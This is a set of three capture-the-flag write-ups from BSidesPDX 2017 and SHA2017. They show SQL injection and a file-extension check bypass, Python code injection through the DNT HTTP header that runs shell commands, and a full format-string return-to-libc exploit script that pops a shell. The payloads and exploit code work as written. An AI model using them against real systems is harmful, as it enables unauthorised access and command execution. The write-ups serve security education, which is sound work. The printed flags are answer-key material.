Oct 21, 2017 - BSidesPDX CTF : SeaQuell

Author: dade

Publish Date: 2017-10-21

Category: Web

Points: 200

Description:

Our competitors at SeaQuell have uploaded their latest proprietary data to their employee area. We have already compromised their web developer and obtained the source code to their site, here: seaquell.py

Host: a32fcd6eab2d811e784db0a6f99bb55a-829124630.eu-central-1.elb.amazonaws.com

Port: 1589

Seaquell.py

Note

The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information here.

Investigation

At the beginning of the challenge you are given the source for the website, and you know ou have to attempt to login to the employees-only area. Since we’ve got the source, we can see how the SQL queries are created for the login and craft an attack against that query.

seaquell.py:31: cur.execute('SELECT password FROM employees WHERE username == "'+user+'"')

By injecting " or 1=1 -- into the username field and supplying a random password, we got a result in one of the HTTP headers that gave us a descriptive error. Invalid user: "" or 1=1 --" (got [(u'pirat3',), (u'drillBabyDrill',)])

Now we’ve got passwords, since the SQL query was selecting passwords where a username matched and we inserted a 1=1 which always evaluates true. Next we need to get the usernames associated with these passwords. Nothing a little union select can’t handle. User " union select username from employees-- with a random password returns us a list of passwords in the same HTTP header error message. Invalid user: "" union select username from employees--" (got [(u'sparrowj',), (u'tillersonr',)])

Once we’ve got the username password pairs, we login and there’s a link to the flag. Yes! We’ve got it!

<h1>403</h1>Not Authorized

I guess not. Let’s take another look at the source and see what’s causing this.

        if ('..' in self.path or 
           not (self.path.endswith('.html') or
                self.path.endswith('/') or
                self.path.endswith('.jpg'))):
           self.send_response(403)
           self.end_headers()
           self.wfile.write('<h1>403</h1>Not Authorized')

So it looks like if we try to do any directory traversals we’ll get a 403, and if we don’t end with .html, /, or .jpg we’ll also get a 403. Luckily this is not how you properly evaluate the extension of a file in a URL, so we can abuse it to get the flag.

Solution

Send your get request but append ?.html to the end of the flag url so that it looks like /employees-only/flag?.html. Now you’ll receive the flag because self.path.endswith('.html') evaluates to True

Flag

BSidesPDX{7h3_se4w33d_i5_alw4s_gr33n3r_wh3n_y0u_hav3_cr3ds}

Oct 21, 2017 - BSidesPDX CTF : DoNotTrek

Author: dade

Publish Date: 2017-10-21

Category: Web

Points: 100

Description:

To boldly go where trackers may or may not track you. Also have you seen my pet snake?

host: a9a4a876db2d711e7887102abc71843c-387472393.eu-central-1.elb.amazonaws.com

Note

The BSidesPDX organizers have made the source code for all of their challenges freely available so that you can run them at home and follow along. You can find more information here.

Investigation

Upon loading the host, we see a flying spaceship Enterprise, with some marqueeing text that says “Do not track is 0!” Since Do Not Track is a common HTTP header you can send websites to ask not to be tracked, we know the web app must be reflecting our value back to us in some regard. The first step I took was to see if I could evaluate math in the DNT header. I fired up burp and set it to intercept requests, then reloaded the page.

When the intercept came up, I changed DNT: 0 to DNT: 1+1. Lo and behold, the page reflected Do not track is 2! Next I tried to inject some other stuff and see what else was allowed. By modifying the DNT header to read DNT: globals() I was able to confirm that python was getting evaluated in the header.

From here I decided to have a look at the filesystem so I intercepted another request and set it to DNT: __builtins__.__import__('subprocess').check_output(["ls", "-la"]) which yielded the contents of the current directory into the page. From here I could see that there was a file named flag.

Solution

Create or intercept an http request to the challenge host and set the DNT flag to: DNT: __builtins__.__import__('subprocess').check_output(["cat", "flag"])

Flag

BSidesPDX{d0_tr4ckers_3ven_EVAL_th1s_he4d3r}

Aug 6, 2017 - SHA2017 CTF : Megan-35

Author: aagallag

Publish Date: 2017-08-06

Category: Pwnable

Points: 200

Description:

We created our own Megan-35 decoding tool, feel free to test it. System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535

megan-35 - 5f12aa57589088dc14c2d589b97b4d4d

libc.so.6 - a503ef51452760010c1dbd421ac26635

When working on binary exploitation challenges, I usually approach them in 3 stages.

  1. Basic Reverse Engineering - Get a rough idea of how the binary works.
  2. Testing/Bughunting - My testing usually begins with manual fuzzing, if I can’t find the bug, I will go back and reverse engineer it further.
  3. Exploit Development - Once I have found the bug, the real fun begins!

Recommended Reading

For those who are new to binary exploitation, I recommend you read the following:

Reverse Engineering

So this binary simply takes a string as user input, and attempts to decode it using Megan-35. At first, I didn’t realize that Megan-35 was a real encoding, but rather, I assumed it was one created for the CTF. So I spent a lot of time attempting to reverse-engineer the encoding from the assembly. I then had the idea that I should search Google for Megan-35. I then stumbled upon this Python script on Github.

Awesome! A Python-based implementation for encoding/decoding strings!

Testing/Bughunting

From the previous stage, I had noticed what appeared to be an uncontrolled printf call. Let’s verify that quickly now that we have an easy way to encode arbitrary text into Megan-35.

I encode the payload following string format into Megan-35:

%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.

And manually enter it into the binary:

$ ./megan-35 
Decrypt your text with the MEGAN-35 encryption.
Od3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQYeqTMWVOd3yoHy1RIXyQW55
0804b818.f7fce5a0.00000000.00000000.00000000.00000000.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.56574d54.7933644f.3179486f.79584952.71655951.

Great! We now have our bug, a classic string format vulnerability.

Exploit Development

The first step I usually take when developing an exploit for a binary, is to run checksec on it.

$ checksec megan-35
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Since NX is enabled, we can’t simply put a bunch of shellcode on the stack and return to that. However, the CTF organizers were nice enough to provide us a copy of libc, a return-to-libc attack should work perfectly on this binary.

Now is probably a good time to emulate the remote system configuration as closely as possible. In order to use the supplied libc library, instead of the one installed with your operating system, simply execute the following:

$ export LD_PRELOAD=./libc.so.6

This terminal session will now use the same version of Libc that the remote target is running. Next, we should disable ASLR as it is disabled on the remote target. Simply execute the following:

$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Now that our setup configuration closely resembles the remote server, lets try and figure out which argument contains the beginning of my payload. I try using the following payload:

payload = ''
payload += 'AAAA'
payload += '%x.'*200

But I don’t see a value of 41414141 get printed, it appears that this format string exceeds the max buffer. So instead, I write a script to directly access each parameter until it finds the one that contains the first 4 bytes of our string format.

def find_arg_offset():
    for i in range(0,500):
        p = getp()
        payload = ''
        payload += 'AAAA%'
        payload += str(i)
        payload += '$x'
        cipher = encode(megan35, payload)
        p.sendline(cipher)
        ret = p.recvall()
        print(ret)
        if '41414141' in ret:
            print(i)
            print('Found it!')
            return i

It ends up finding 41414141 at argument 71. Combine this with the ‘%hn’ format, and we can now overwrite arbitrary memory.

So to perform the return-to-libc attack, we will want to setup the stack as such:

|---+---+---+---|---+---+---+---|---+---+---+---|
 [ RETURN ADDR ] [     DUMM    ] [    PARAM1   ]

The reason why we have DUMM in between the return address and param1 is because that is the address that will get jumped to after our libc function call has completed. I don’t care to fill this in with a meaningful address because after we exit the shell, I don’t care what happens to the program (it will crash).

So we really only need to overwrite 2 addresses, the return address and the parameter address. We will point the return address to the libc function, system and param1 should point to the string \bin\sh\x00. We could have put \bin\sh\x00 at the end of our payload and set the parameter address to a value on the stack, but since we have to caluclate the libc address for system, it was just as easy to find the string \bin\sh\x00 directly in libc.so.6. To simplify this task, I used pwntools to calculate the necessary addresses.

libc = ELF('./libc.so.6')
libc.address = printf_addr - libc.symbols['printf']
print('System...')
print(hexdump(libc.symbols['system']))
print('/bin/sh...')
print(hexdump(next(libc.search('/bin/sh\x00'))))

But on each system, libc may be loaded at a slightly different offset (but thankfully, since ASLR was disabled, libc will be loaded into the same location each time).

So to find the libc address, I first used a debugger to find what address printf was being loaded at on my local setup. Then I dumped the values on the stack until I found one that was close to printf. I discovered that argument #46 on the stack contains a value that is offset from printf by 0x35D3B. So I wrote a function to reliably deliver the printf address (assuming ASLR is disabled on the machine).

def get_printf_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%46$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0x35D3B

I then did something similar for finding the address on the stack containing the return address.

def get_retn_addr():
    p = getp()
    payload = ''
    payload += 'AAAA%96$x'
    cipher = encode(megan35, payload)
    p.sendline(cipher)
    ret = p.recvall()
    ret = ret.replace('AAAA','')
    return u32(ret.decode('hex')[::-1])+0xc

Finally, I am ready to build the string format exploit. Since %hn writes only 2 bytes at a time, we will have to perform a total of 4 writes to modify the 2 addresses. I add the address with the smallest value to overwrite first ascending to the largest overwrite value. And then I write to the arguments in the order that they are on the stack.

Here were the calculated memory addresses on the remote server:

System...
00000000  40 39 e5 f7                                         │@9··││
00000004
/bin/sh...
00000000  0b 20 f7 f7                                         │· ··││
00000004

And the final exploit code:

retn_addr = get_retn_addr()
print('0x%x' % retn_addr)

p = getp()
fmt = ''
fmt += p32(retn_addr+8)
fmt += p32(retn_addr)
fmt += p32(retn_addr+2)
fmt += p32(retn_addr+8+2)
fmt += '%8187x%71$hn'
fmt += '%6453x%72$hn'
fmt += '%48805x%73$hn'
fmt += '%18x%74$hn'
    
payload = encode(megan35, fmt)
p.sendline(payload)
p.interactive()

And finally, we have popped a shell, now to get our flag!

$ ls -la
total 116
drwxr-xr-x  25 root root  4096 Aug  5 09:57 .
drwxr-xr-x  25 root root  4096 Aug  5 09:57 ..
drwxr-xr-x   2 root root 12288 Aug  4 14:41 bin
drwxr-xr-x   3 root root  4096 Aug  4 14:45 boot
drwxr-xr-x  15 root root  3820 Aug  5 09:57 dev
drwxr-xr-x  95 root root  4096 Aug  5 11:35 etc
-rw-r--r--   1 root root    39 Jul 21 16:48 flag
drwxr-xr-x   4 root root  4096 Jul 21 16:48 home
lrwxrwxrwx   1 root root    30 Aug  4 12:03 initrd.img -> boot/initrd.img-4.4.0-1028-aws
lrwxrwxrwx   1 root root    30 Jul 26 16:48 initrd.img.old -> boot/initrd.img-4.4.0-1026-aws
drwxr-xr-x  21 root root  4096 Jul 21 16:48 lib
drwxr-xr-x   2 root root  4096 Jul 21 16:48 lib32
drwxr-xr-x   2 root root  4096 Jun 19 23:49 lib64
drwxr-xr-x   2 root root  4096 Jul 21 16:48 libx32
drwx------   2 root root 16384 Jun 19 23:58 lost+found
drwxr-xr-x   2 root root  4096 Jun 19 23:49 media
drwxr-xr-x   2 root root  4096 Jun 19 23:49 mnt
drwxr-xr-x   2 root root  4096 Jun 19 23:49 opt
d--x--x--x 143 root root     0 Aug  5 09:57 proc
drwx------   3 root root  4096 Jul 23 21:17 root
drwxr-xr-x  24 root root   960 Aug  6 15:21 run
drwxr-xr-x   2 root root 12288 Aug  4 14:41 sbin
drwxr-xr-x   2 root root  4096 Apr 29 08:38 snap
drwxr-xr-x   2 root root  4096 Jun 19 23:49 srv
dr-xr-xr-x  13 root root     0 Aug  5 12:06 sys
drwxrwxrwt   8 root root  4096 Aug  6 23:17 tmp
drwxr-xr-x  12 root root  4096 Jul 21 16:48 usr
drwxr-xr-x  14 root root  4096 Jul 21 16:45 var
lrwxrwxrwx   1 root root    27 Aug  4 12:03 vmlinuz -> boot/vmlinuz-4.4.0-1028-aws
lrwxrwxrwx   1 root root    27 Jul 26 16:48 vmlinuz.old -> boot/vmlinuz-4.4.0-1026-aws

$ cat flag
flag{43eb404b714b8d22e1168775eba1669c}

Complete exploit implementation

Flag

flag{43eb404b714b8d22e1168775eba1669c}